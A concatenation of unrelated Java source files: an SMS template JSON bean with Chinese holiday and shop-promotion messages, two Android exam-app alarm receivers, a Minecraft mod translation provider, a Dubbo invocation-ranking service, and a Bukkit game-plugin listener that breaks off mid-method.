* {"GID":"94d1ba23-1299-11e6-9174-1c872c481c7f","TC_GID":"b1206cd0-1296-11e6-9174-1c872c481c7f","TC_ClassName":"端午节","TC_ClassCode":"027",
* "TM_Name":null,"TM_Content":"杨梅红、杏儿黄、蒲月初五是端阳,棕叶香、包五粮、剥个棕子裹上糖;艾草芳、龙舟忙,追逐幸福勇向上;夸姣的糊口万年长!祝您端午节快乐!","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"94e69db4-1299-11e6-9174-1c872c481c7f",
* "TC_GID":"b1206cd0-1296-11e6-9174-1c872c481c7f","TC_ClassName":"端午节","TC_ClassCode":"027","TM_Name":null,
* "TM_Content":"端午节什么祝福最简单最能表达出节日的气氛字数最少,想一想,想一想是什么呢?是:端午节快乐!哈哈简单的问候!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"c3babff2-1297-11e6-9174-1c872c481c7f",
* "TC_GID":"94575fa9-1296-11e6-9174-1c872c481c7f","TC_ClassName":"新货到了","TC_ClassCode":"023","TM_Name":null,
* "TM_Content":"来疯抢吧!#店铺名称#7月新品全线上架,X月X日至X月X日新品8折,其余商品最低3折,实惠立刻带回家。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"c3c01c10-1297-11e6-9174-1c872c481c7f",
* "TC_GID":"94575fa9-1296-11e6-9174-1c872c481c7f","TC_ClassName":"新货到了","TC_ClassCode":"023","TM_Name":null,
* "TM_Content":"#店铺名称#8折来袭,不是新品8折,不是换季清货8折,实打实的全场8折。千年等一回,等的就是这一回!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"c3c5fc90-1297-11e6-9174-1c872c481c7f",
* "TC_GID":"94575fa9-1296-11e6-9174-1c872c481c7f","TC_ClassName":"新货到了","TC_ClassCode":"023","TM_Name":null,
* "TM_Content":"#店铺名称#淘货总动员,百余新品明日上架,感谢您一直以来的关照,8折放送,愿实惠伴您清凉一夏。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"c3ce3b79-1297-11e6-9174-1c872c481c7f",
* "TC_GID":"94575fa9-1296-11e6-9174-1c872c481c7f","TC_ClassName":"新货到了","TC_ClassCode":"023","TM_Name":null,
* "TM_Content":"#店铺名称#夏季新品8折首发,更有3种热卖商品5折放送,本优惠截止X月X日,绝对实惠让你清凉一夏。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"c3d53477-1297-11e6-9174-1c872c481c7f",
* "TC_GID":"94575fa9-1296-11e6-9174-1c872c481c7f","TC_ClassName":"新货到了","TC_ClassCode":"023","TM_Name":null,
* "TM_Content":"亲们,换季了,该采购了!#店铺名称#百余新货今日统一上架,绝对耳目一新,肯定有你喜欢的,快来淘吧~","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"c3de3a6f-1297-11e6-9174-1c872c481c7f",
* "TC_GID":"94575fa9-1296-11e6-9174-1c872c481c7f","TC_ClassName":"新货到了","TC_ClassCode":"023","TM_Name":null,
* "TM_Content":"来抢购啦!X月X日至X月X日#店铺名称#新品上线,全店热促,第一件89元,第二件只要49!双倍实惠带回家。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"c3e4a3ee-1297-11e6-9174-1c872c481c7f",
* "TC_GID":"94575fa9-1296-11e6-9174-1c872c481c7f","TC_ClassName":"新货到了","TC_ClassCode":"023","TM_Name":null,
* "TM_Content":"#店铺名称#新货到啦!你期盼已久的XX商品,全市首发,仅99元,仅在#店铺名称#,快来抢!来晚就没了!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"c3eb5f23-1297-11e6-9174-1c872c481c7f",
* "TC_GID":"94575fa9-1296-11e6-9174-1c872c481c7f","TC_ClassName":"新货到了","TC_ClassCode":"023","TM_Name":null,
* "TM_Content":"新货到啦~#店铺名称#本年度最大规模上货,就在本周,老店新品,更有8折感恩回馈,恭候光临品鉴。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"ed8d66da-1299-11e6-9174-1c872c481c7f",
* "TC_GID":"b12774e1-1296-11e6-9174-1c872c481c7f","TC_ClassName":"中秋佳节","TC_ClassCode":"028","TM_Name":null,
* "TM_Content":"祝福中秋佳节快乐,月圆人圆事事圆,愿您过的每一天都象十五的月亮一样成功,祝您一切圆满美好!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,
* "CY_GID":null,"TM_Group":3},{"GID":"ed9b5220-1299-11e6-9174-1c872c481c7f","TC_GID":"b12774e1-1296-11e6-9174-1c872c481c7f",
* "TC_ClassName":"中秋佳节","TC_ClassCode":"028","TM_Name":null,
* "TM_Content":"中秋佳节将来到,百忙之中也要抽出时间过佳节,在这么个团团圆圆的日子,更加需要家人的关心,这样才会有更多的动力,愿您全家幸福快乐,您的生意蒸蒸日上!","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"eda2fc1a-1299-11e6-9174-1c872c481c7f",
* "TC_GID":"b12774e1-1296-11e6-9174-1c872c481c7f","TC_ClassName":"中秋佳节","TC_ClassCode":"028","TM_Name":null,
* "TM_Content":"中秋祝福:有你月缺也月圆,没你月圆也月缺。希望能够见到你,代表天天都月圆。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,
* "CY_GID":null,"TM_Group":3},{"GID":"edaefcfa-1299-11e6-9174-1c872c481c7f","TC_GID":"b12774e1-1296-11e6-9174-1c872c481c7f",
* "TC_ClassName":"中秋佳节","TC_ClassCode":"028","TM_Name":null,"TM_Content":"中秋将至,奉上一个月饼,配料:五克快乐枣,一把关心米,三钱友情水,用幽默扎捆,用手机送达;保质期:农历八月十五前。",
* "TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},
* {"GID":"edb74b29-1299-11e6-9174-1c872c481c7f","TC_GID":"b12774e1-1296-11e6-9174-1c872c481c7f","TC_ClassName":"中秋佳节","TC_ClassCode":"028",
* "TM_Name":null,"TM_Content":"中秋祝愿,愿我的客户事业有月亮般的高度,能力有天空般的广度,薪水有月饼般的弧度,再祝您中秋能够欢度!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"edc27dfa-1299-11e6-9174-1c872c481c7f",
* "TC_GID":"b12774e1-1296-11e6-9174-1c872c481c7f","TC_ClassName":"中秋佳节","TC_ClassCode":"028","TM_Name":null,
* "TM_Content":"明月当空照,中秋已来到。佳节配美酒,娇妻投怀抱。岁岁都幸福,处处有欢笑。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,
* "CY_GID":null,"TM_Group":3},{"GID":"edcae32c-1299-11e6-9174-1c872c481c7f","TC_GID":"b12774e1-1296-11e6-9174-1c872c481c7f",
* "TC_ClassName":"中秋佳节","TC_ClassCode":"028","TM_Name":null,"TM_Content":"又到一年中秋时,星星明亮月亮圆,我托月光送祝福,问候跟随悄悄至,愿我们在合作的道路上像月亮一样圆圆满满。中秋节快乐!",
* "TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},
* {"GID":"edd34abb-1299-11e6-9174-1c872c481c7f","TC_GID":"b12774e1-1296-11e6-9174-1c872c481c7f","TC_ClassName":"中秋佳节","TC_ClassCode":"028",
* "TM_Name":null,"TM_Content":"心到,想到,得到,看到,闻到,吃到,福到,运到,财到,中秋节还没到,但愿我的祝福第一个到。提前祝你中秋节快乐!天天好心情!","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3}]}
*/
private boolean success;
private Object code;
private String msg;
private DataBean data;
public boolean isSuccess() { return success;}
public void setSuccess(boolean success) { this.success = success;}
public Object getCode() { return code;}
public void setCode(Object code) { this.code = code;}
public String getMsg() { return msg;}
public void setMsg(String msg) { this.msg = msg;}
public DataBean getData() { return data;}
public void setData(DataBean data) { this.data = data;}
public static class DataBean
{
private List<TempClassListBean> tempClassList;
private List<TempManagerListBean> tempManagerList;
public List<TempClassListBean> getTempClassList() { return tempClassList;}
public void setTempClassList(List<TempClassListBean> tempClassList) { this.tempClassList = tempClassList;}
public List<TempManagerListBean> getTempManagerList() { return tempManagerList;}
public void setTempManagerList(List<TempManagerListBean> tempManagerList) { this.tempManagerList = tempManagerList;}
public static class TempClassListBean
{
/**
* GID : 94575fa9-1296-11e6-9174-1c872c481c7f
* TC_ClassName : 新货到了
* TC_ClassCode : 023
* TC_Creator : null
* TC_Update : null
* TC_CreatorTime : null
* TC_UpdateTime : null
* TC_Group : 3
*/
private String GID;
private String TC_ClassName;
private String TC_ClassCode;
private Object TC_Creator;
private Object TC_Update;
private Object TC_CreatorTime;
private Object TC_UpdateTime;
private int TC_Group;
public String getGID() { return GID;}
public void setGID(String GID) { this.GID = GID;}
public String getTC_ClassName() { return TC_ClassName;}
public void setTC_ClassName(String TC_ClassName) { this.TC_ClassName = TC_ClassName;}
public String getTC_ClassCode() { return TC_ClassCode;}
public void setTC_ClassCode(String TC_ClassCode) { this.TC_ClassCode = TC_ClassCode;}
public Object getTC_Creator() { return TC_Creator;}
public void setTC_Creator(Object TC_Creator) { this.TC_Creator = TC_Creator;}
public Object getTC_Update() { return TC_Update;}
public void setTC_Update(Object TC_Update) { this.TC_Update = TC_Update;}
public Object getTC_CreatorTime() { return TC_CreatorTime;}
public void setTC_CreatorTime(Object TC_CreatorTime) { this.TC_CreatorTime = TC_CreatorTime;}
public Object getTC_UpdateTime() { return TC_UpdateTime;}
public void setTC_UpdateTime(Object TC_UpdateTime) { this.TC_UpdateTime = TC_UpdateTime;}
public int getTC_Group() { return TC_Group;}
public void setTC_Group(int TC_Group) { this.TC_Group = TC_Group;}
}
public static class TempManagerListBean
{
/**
* GID : 3b292aa6-1299-11e6-9174-1c872c481c7f
* TC_GID : 9472fb65-1296-11e6-9174-1c872c481c7f
* TC_ClassName : 三八妇女节
* TC_ClassCode : 026
* TM_Name : null
* TM_Content : 妇女节到,祝福魅力无敌,聪明伶俐;神采飞扬,常带笑意;端庄漂亮,青春靓丽;聪明赛孔明,英明如上帝的你,妇女节开心又快乐!
* TM_Creator : null
* TM_Update : null
* TM_CreatorTime : null
* TM_UpdateTime : null
* CY_GID : null
* TM_Group : 3
*/
private String GID;
private String TC_GID;
private String TC_ClassName;
private String TC_ClassCode;
private Object TM_Name;
private String TM_Content;
private Object TM_Creator;
private Object TM_Update;
private Object TM_CreatorTime;
private Object TM_UpdateTime;
private Object CY_GID;
private int TM_Group;
public String getGID() { return GID;}
public void setGID(String GID) { this.GID = GID;}
public String getTC_GID() { return TC_GID;}
public void setTC_GID(String TC_GID) { this.TC_GID = TC_GID;}
public String getTC_ClassName() { return TC_ClassName;}
public void setTC_ClassName(String TC_ClassName) { this.TC_ClassName = TC_ClassName;}
public String getTC_ClassCode() { return TC_ClassCode;}
public void setTC_ClassCode(String TC_ClassCode) { this.TC_ClassCode = TC_ClassCode;}
public Object getTM_Name() { return TM_Name;}
public void setTM_Name(Object TM_Name) { this.TM_Name = TM_Name;}
public String getTM_Content() { return TM_Content;}
public void setTM_Content(String TM_Content) { this.TM_Content = TM_Content;}
public Object getTM_Creator() { return TM_Creator;}
public void setTM_Creator(Object TM_Creator) { this.TM_Creator = TM_Creator;}
public Object getTM_Update() { return TM_Update;}
public void setTM_Update(Object TM_Update) { this.TM_Update = TM_Update;}
public Object getTM_CreatorTime() { return TM_CreatorTime;}
public void setTM_CreatorTime(Object TM_CreatorTime) { this.TM_CreatorTime = TM_CreatorTime;}
public Object getTM_UpdateTime() { return TM_UpdateTime;}
public void setTM_UpdateTime(Object TM_UpdateTime) { this.TM_UpdateTime = TM_UpdateTime;}
public Object getCY_GID() { return CY_GID;}
public void setCY_GID(Object CY_GID) { this.CY_GID = CY_GID;}
public int getTM_Group() { return TM_Group;}
public void setTM_Group(int TM_Group) { this.TM_Group = TM_Group;}
}
}
}
| guting50/Trunk | yunpukeji/src/main/java/com/zhiluo/android/yunpu/sms/jsonbean/SMSJsonBean.java |
65,498 | package com.example.administrator.kaoyan.receiver;
import android.app.KeyguardManager;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.media.MediaPlayer;
import android.media.RingtoneManager;
import android.net.Uri;
import android.os.PowerManager;
import android.os.Vibrator;
import android.support.v4.app.NotificationCompat;
import android.support.v4.app.TaskStackBuilder;
import com.example.administrator.kaoyan.MainActivity;
import com.example.administrator.kaoyan.R;
import java.io.IOException;
/**
* Created by Administrator on 2016/4/25.
*/
public class AlarmReceiver extends BroadcastReceiver {
private NotificationManager nm;
private MediaPlayer mMediaPlayer;
private Vibrator vibrate;
public void onReceive(Context context, Intent intent) {
if ("android.alarm.yijian.action".equals(intent.getAction())) {
//第1步中设置的闹铃时间到,这里可以弹出闹铃提示并播放响铃
//可以继续设置下一次闹铃时间;
NotificationCompat.Builder mBuilder2 = new NotificationCompat.Builder(context);
mBuilder2.setTicker("主人,该做题了,你准备好了吗?");
mBuilder2.setSmallIcon(R.mipmap.ic_main);
mBuilder2.setContentTitle("一建题库");
mBuilder2.setContentText("开始作答吧,祝你好运!");
//设置点击一次后消失(如果没有点击事件,则该方法无效。)
mBuilder2.setAutoCancel(true);
//点击通知之后需要跳转的页面
Intent resultIntent = new Intent(context, MainActivity.class);
//使用TaskStackBuilder为“通知页面”设置返回关系
TaskStackBuilder stackBuilder = TaskStackBuilder.create(context);
//为点击通知后打开的页面设定 返回 页面。(在manifest中指定)
stackBuilder.addParentStack(MainActivity.class);
stackBuilder.addNextIntent(resultIntent);
PendingIntent pIntent = stackBuilder.getPendingIntent(0, PendingIntent.FLAG_UPDATE_CURRENT);
mBuilder2.setContentIntent(pIntent);
// mId allows you to update the notification later on.
nm = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
nm.notify(1, mBuilder2.build());
// 等待3秒,震动3秒,-1表示不循环,1表示循环播放
vibrate = (Vibrator) context.getSystemService(Context.VIBRATOR_SERVICE);
vibrate.vibrate(new long[]{1000, 1000}, -1);
sound(context);
new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(1000);
mMediaPlayer.stop();
mMediaPlayer.release();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}).start();
KeyguardManager km = (KeyguardManager) context.getSystemService(Context.KEYGUARD_SERVICE);
KeyguardManager.KeyguardLock kl = km.newKeyguardLock("unLock");
//解锁
kl.disableKeyguard();
//获取电源管理器对象
PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
//获取PowerManager.WakeLock对象,后面的参数|表示同时传入两个值,最后的是LogCat里用的Tag
PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.ACQUIRE_CAUSES_WAKEUP | PowerManager.SCREEN_DIM_WAKE_LOCK, "bright");
//点亮屏幕
wl.acquire();
//释放
wl.release();
}
}
// 使用来电铃声的铃声路径
private void sound(Context context) {
Uri uri = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_RINGTONE);
if (mMediaPlayer == null)
mMediaPlayer = new MediaPlayer();
try {
mMediaPlayer.setDataSource(context, uri);
mMediaPlayer.prepare();
mMediaPlayer.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
| longchr123/YiJian | app/src/main/java/com/example/administrator/kaoyan/receiver/AlarmReceiver.java |
65,499 | package com.example.administrator.yaoshi.receiver;
import android.app.KeyguardManager;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.media.MediaPlayer;
import android.media.RingtoneManager;
import android.net.Uri;
import android.os.PowerManager;
import android.os.Vibrator;
import android.support.v4.app.NotificationCompat;
import android.support.v4.app.TaskStackBuilder;
import com.example.administrator.yaoshi.MainActivity;
import com.example.administrator.yaoshi.R;
import java.io.IOException;
/**
* Created by Administrator on 2016/4/25.
*/
public class AlarmReceiver extends BroadcastReceiver {
private NotificationManager nm;
private MediaPlayer mMediaPlayer;
private Vibrator vibrate;
public void onReceive(Context context, Intent intent) {
if ("android.alarm.yaoshi.action".equals(intent.getAction())) {
//第1步中设置的闹铃时间到,这里可以弹出闹铃提示并播放响铃
//可以继续设置下一次闹铃时间;
NotificationCompat.Builder mBuilder2 = new NotificationCompat.Builder(context);
mBuilder2.setTicker("主人,该做题了,你准备好了吗?");
mBuilder2.setSmallIcon(R.mipmap.ic_main);
mBuilder2.setContentTitle("药师题库");
mBuilder2.setContentText("开始作答吧,祝你好运!");
//设置点击一次后消失(如果没有点击事件,则该方法无效。)
mBuilder2.setAutoCancel(true);
//点击通知之后需要跳转的页面
Intent resultIntent = new Intent(context, MainActivity.class);
//使用TaskStackBuilder为“通知页面”设置返回关系
TaskStackBuilder stackBuilder = TaskStackBuilder.create(context);
//为点击通知后打开的页面设定 返回 页面。(在manifest中指定)
stackBuilder.addParentStack(MainActivity.class);
stackBuilder.addNextIntent(resultIntent);
PendingIntent pIntent = stackBuilder.getPendingIntent(0, PendingIntent.FLAG_UPDATE_CURRENT);
mBuilder2.setContentIntent(pIntent);
// mId allows you to update the notification later on.
nm = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
nm.notify(1, mBuilder2.build());
// 等待3秒,震动3秒,-1表示不循环,1表示循环播放
vibrate = (Vibrator) context.getSystemService(Context.VIBRATOR_SERVICE);
vibrate.vibrate(new long[]{1000, 1000}, -1);
sound(context);
new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(1000);
mMediaPlayer.stop();
mMediaPlayer.release();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}).start();
KeyguardManager km = (KeyguardManager) context.getSystemService(Context.KEYGUARD_SERVICE);
KeyguardManager.KeyguardLock kl = km.newKeyguardLock("unLock");
//解锁
kl.disableKeyguard();
//获取电源管理器对象
PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
//获取PowerManager.WakeLock对象,后面的参数|表示同时传入两个值,最后的是LogCat里用的Tag
PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.ACQUIRE_CAUSES_WAKEUP | PowerManager.SCREEN_DIM_WAKE_LOCK, "bright");
//点亮屏幕
wl.acquire();
//释放
wl.release();
}
}
// 使用来电铃声的铃声路径
private void sound(Context context) {
Uri uri = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_RINGTONE);
if (mMediaPlayer == null)
mMediaPlayer = new MediaPlayer();
try {
mMediaPlayer.setDataSource(context, uri);
mMediaPlayer.prepare();
mMediaPlayer.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
| longchr123/PharmacistExam | app/src/main/java/com/example/administrator/yaoshi/receiver/AlarmReceiver.java |
65,500 | package mod.lyuxc.MagicClover.datagen;
import mod.lyuxc.MagicClover.MagicClover;
import mod.lyuxc.MagicClover.Registry;
import net.minecraft.data.PackOutput;
import net.neoforged.neoforge.common.data.LanguageProvider;
public class langZhCn extends LanguageProvider {
public langZhCn(PackOutput output, String locale) {
super(output, MagicClover.MOD_ID, locale);
}
@Override
protected void addTranslations() {
add(Registry.MAGIC_CLOVER_ITEM_DEFERRED_ITEM.get(),"魔法四叶草");
add("tips.magic_clover.item","有%s%%的概率原地生成闪电苦力怕,祝你好运");
}
}
| lyuxc-unknow/Magic-Clover-Unofficial | src/main/java/mod/lyuxc/MagicClover/datagen/langZhCn.java |
65,501 | package com.ants.monitor.biz.bussiness;
import com.ants.monitor.bean.bizBean.HostBO;
import com.ants.monitor.bean.bizBean.MethodRankBO;
import com.ants.monitor.bean.entity.InvokeDO;
import com.ants.monitor.biz.support.service.HostService;
import com.ants.monitor.common.redis.RedisClientTemplate;
import com.ants.monitor.common.redis.RedisKeyBean;
import com.ants.monitor.common.tools.JsonUtil;
import com.ants.monitor.dao.mapper.InvokeDOMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.util.StringUtils;
import javax.annotation.Resource;
import java.util.*;
/**
* Created by zxg on 16/7/4.
* 14:28
* no bug,以后改代码的哥们,祝你好运~!!
*/
@Service
public class InvokeBizImpl implements InvokeBiz {
@Autowired
private HostService hostService;
@Autowired
private RedisClientTemplate redisClientTemplate;
@Resource(name = "invokeDOMapper")
private InvokeDOMapper invokeDOMapper;
//排行榜展示最大的数量
private static final Integer maxRankNumber = 50;
@Override
public List<MethodRankBO> getMethodRankByAppName(String appName) {
List<MethodRankBO> resultList = new ArrayList<>();
if (StringUtils.isEmpty(appName)) {
return resultList;
}
String redisKey = String.format(RedisKeyBean.invokeMethodRankKey, appName);
// 从redis中取
String redisResultString = redisClientTemplate.get(redisKey);
// String redisResultString = null;
if (redisResultString != null && redisClientTemplate.isNone(redisResultString)) {
//缓存里判定之前查找为空,因此此次不走数据库,直接空
return resultList;
}
if (redisResultString != null) {
//返回redis 缓存结果集
return JsonUtil.jsonStrToList(redisResultString, MethodRankBO.class);
}
//redis 中无数据,进行数据库操作
resultList = findFromDataBase(appName);
//缓存一份到数据库
if (resultList.isEmpty()) {
redisClientTemplate.setNone(redisKey);
} else {
redisClientTemplate.lazySet(redisKey, resultList, RedisKeyBean.RREDIS_EXP_HOURS * 23);
}
return resultList;
}
/*=============private=============*/
private List<MethodRankBO> findFromDataBase(String appName) {
List<MethodRankBO> resultList = new ArrayList<>();
Set<HostBO> hostBOSet = hostService.getHostPortByAppName(appName);
if (hostBOSet.isEmpty()) {
return resultList;
}
List<InvokeDO> invokeDOList = new ArrayList<>();
for (HostBO hostBO : hostBOSet) {
//数据库拿出所有的数据,叠加到list
String host = hostBO.getHost();
String port = hostBO.getPort();
InvokeDO searchDO = new InvokeDO();
searchDO.setProviderHost(host);
searchDO.setProviderPort(port);
invokeDOList.addAll(invokeDOMapper.selectByInvokeDO(searchDO));
}
if (invokeDOList.isEmpty()) {
return resultList;
}
// 存在数据
Map<MethodRankBO, Integer> rankMap = new HashMap<>();
for (InvokeDO invokeDO : invokeDOList) {
String serviceName = invokeDO.getService();
String methodName = invokeDO.getMethod();
Integer usedNum = invokeDO.getSuccess();
MethodRankBO rankBO = new MethodRankBO();
rankBO.setServiceName(serviceName);
rankBO.setMethodName(methodName);
Integer nowNum = rankMap.get(rankBO);
if (nowNum == null) nowNum = 0;
nowNum += usedNum;
rankMap.put(rankBO, nowNum);
}
//排序,从大到小
List<Map.Entry<MethodRankBO, Integer>> sortedList = new ArrayList<>(rankMap.entrySet());
Collections.sort(sortedList, new Comparator<Map.Entry<MethodRankBO, Integer>>() {
@Override
public int compare(Map.Entry<MethodRankBO, Integer> o1, Map.Entry<MethodRankBO, Integer> o2) {
Integer result = o2.getValue() - o1.getValue();
return result;
}
});
int sortedListSize = sortedList.size();
for (int i = 0; i < sortedListSize; i++) {
Map.Entry<MethodRankBO, Integer> entry = sortedList.get(i);
MethodRankBO rankBO = entry.getKey();
rankBO.setUsedNum(entry.getValue());
resultList.add(rankBO);
if (resultList.size() > maxRankNumber - 1) {
break;
}
}
return resultList;
}
}
| shenzhuan/zscat-platform | zscat-monitor/biz/src/main/java/com/ants/monitor/biz/bussiness/InvokeBizImpl.java |
65,502 | package com.github.JHXSMatthew.Listener;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;
import java.util.List;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.Effect;
import org.bukkit.GameMode;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.Sound;
import org.bukkit.block.Chest;
import org.bukkit.entity.Arrow;
import org.bukkit.entity.Entity;
import org.bukkit.entity.EntityType;
import org.bukkit.entity.LivingEntity;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.EventPriority;
import org.bukkit.event.Listener;
import org.bukkit.event.block.Action;
import org.bukkit.event.entity.EntityChangeBlockEvent;
import org.bukkit.event.entity.EntityDamageByEntityEvent;
import org.bukkit.event.entity.EntityDamageEvent;
import org.bukkit.event.entity.EntityRegainHealthEvent;
import org.bukkit.event.entity.EntityDamageEvent.DamageCause;
import org.bukkit.event.entity.EntityRegainHealthEvent.RegainReason;
import org.bukkit.event.entity.FoodLevelChangeEvent;
import org.bukkit.event.entity.PlayerDeathEvent;
import org.bukkit.event.entity.PotionSplashEvent;
import org.bukkit.event.inventory.InventoryClickEvent;
import org.bukkit.event.player.*;
import org.bukkit.event.weather.WeatherChangeEvent;
import org.bukkit.inventory.ItemStack;
import org.bukkit.inventory.meta.ItemMeta;
import org.bukkit.potion.PotionEffect;
import org.bukkit.potion.PotionEffectType;
import org.bukkit.projectiles.ProjectileSource;
import org.bukkit.scheduler.BukkitRunnable;
import com.github.JHXSMatthew.Core;
import com.github.JHXSMatthew.Config.Config;
import com.github.JHXSMatthew.Config.Message;
import com.github.JHXSMatthew.Game.Game;
import com.github.JHXSMatthew.Game.GamePlayer;
import com.github.JHXSMatthew.Game.Game.GameState;
import com.github.JHXSMatthew.Game.GameTeam;
import com.github.JHXSMatthew.Util.PotionUlt;
public class PlayerListener implements Listener{
private ArrayList<String> noSpam;
public PlayerListener(){
noSpam = new ArrayList<String>();
new BukkitRunnable(){
@Override
public void run() {
noSpam.clear();
}
}.runTaskTimerAsynchronously(Core.get(), 20, 100);
}
@EventHandler
public void onPreJoin(PlayerLoginEvent evt){
if(Core.get().getCurrentGame().getGameState() == GameState.Teleporting){
evt.disallow(PlayerLoginEvent.Result.KICK_FULL, "游戏开始中,无法加入 .");
}
}
@EventHandler
public void onJoin(PlayerJoinEvent evt){
Player player = evt.getPlayer(); // The player who joined
GamePlayer gp = Core.get().getPc().createGamePlayer(player);
gp.showToAll();
if(Core.get().getCurrentGame() == null){
player.kickPlayer("Not-Ready");
}
Core.get().getCurrentGame().GameJoin(gp);
evt.setJoinMessage("");
}
@EventHandler
public void onHeldItem (PlayerItemHeldEvent event){
ItemStack item = event.getPlayer().getInventory().getItem(event.getNewSlot());
if(item.getType() == Material.EMPTY_MAP){
List<String> lore = item.getItemMeta().getLore();
if(lore == null || lore.isEmpty()){
lore = new ArrayList<String>();
lore.add("右键激活地图!");
ItemMeta meta = item.getItemMeta();
meta.setLore(lore);
meta.setDisplayName("右击激活地图");
item.setItemMeta(meta);
}
}
}
@EventHandler
public void onPlayerDeath(PlayerDeathEvent evt){
Player p = evt.getEntity();
GamePlayer gp = Core.get().getPc().getGamePlayer(p);
Game g = Core.get().getCurrentGame();
evt.setDeathMessage("");
if(g == null){
System.out.print("BUG ON DEATH");
}
p.setHealth(p.getMaxHealth());
p.getWorld().strikeLightningEffect(p.getLocation());
if(p.getKiller() instanceof Player){
GamePlayer GKiller = Core.get().getPc().getGamePlayer(p.getKiller());
GKiller.increaseStack();
if(GKiller.getStack() > 1){
g.sendToAllMessage(p.getKiller().getDisplayName() + Core.getMsg().getMessage("player-kill-stack1") + GKiller.getStack() + Core.getMsg().getMessage("player-kill-stack2"));
GKiller.get().addPotionEffect(new PotionEffect(PotionEffectType.SPEED,40,2));
GKiller.sendMessage(Core.getMsg().getMessage("player-kill-buff1"));
double healthReady = GKiller.get().getHealth() + (GKiller.getStack() %4);
if(healthReady <= GKiller.get().getMaxHealth()){
GKiller.get().setHealth(healthReady);
}else{
GKiller.get().setHealth(GKiller.get().getMaxHealth());
GKiller.sendMessage(Core.getMsg().getMessage("player-kill-max"));
}
GKiller.sendMessage(Core.getMsg().getMessage("player-kill-health1")+ (GKiller.getStack() %4) + Core.getMsg().getMessage("player-kill-health2"));
if(GKiller.getStack() % 5 == 0 ){
if(GKiller.getStack() == 5){
g.sendToAllSound(Sound.WITHER_SPAWN);
}else{
g.sendToAllSound(Sound.WITHER_DEATH);
}
}
g.sendToAllSound(Sound.WOLF_PANT);
if(GKiller.getStack() > GKiller.getGs().getStack() ){
GKiller.getGs().addStack();
}
}
GKiller.getGs().addKills();
g.sendToAllMessage(p.getKiller().getDisplayName() + Core.getMsg().getMessage("player-death-msg1") + p.getDisplayName() + Core.getMsg().getMessage("player-death-msg2"));
gp.sendTitle(Core.getMsg().getMessage("player-death-title"));
gp.getGs().addDeath();
}else {
g.sendToAllMessage( p.getDisplayName() + Core.getMsg().getMessage("player-death-msg3") );
}
g.joinSpec(gp);
}
@EventHandler
public void onHealthControl(EntityRegainHealthEvent evt){
if(evt.getRegainReason() == RegainReason.MAGIC || evt.getRegainReason() == RegainReason.MAGIC_REGEN ){
return;
}
evt.setCancelled(true);
}
@EventHandler
public void onPlayerQuit(PlayerQuitEvent evt){
Player player = evt.getPlayer(); // The player who joined
GamePlayer p = Core.get().getPc().getGamePlayer(player);
Game g = Core.get().getCurrentGame();
if(g == null){
return;
}
p.getGs().save();
g.GameQuit(p);
Core.get().getPc().removeGamePlayer(p.get().getName());
if(g.getGameStateString().contains("游戏") && Bukkit.getOnlinePlayers().size() == 0){
Bukkit.shutdown();
}
try{
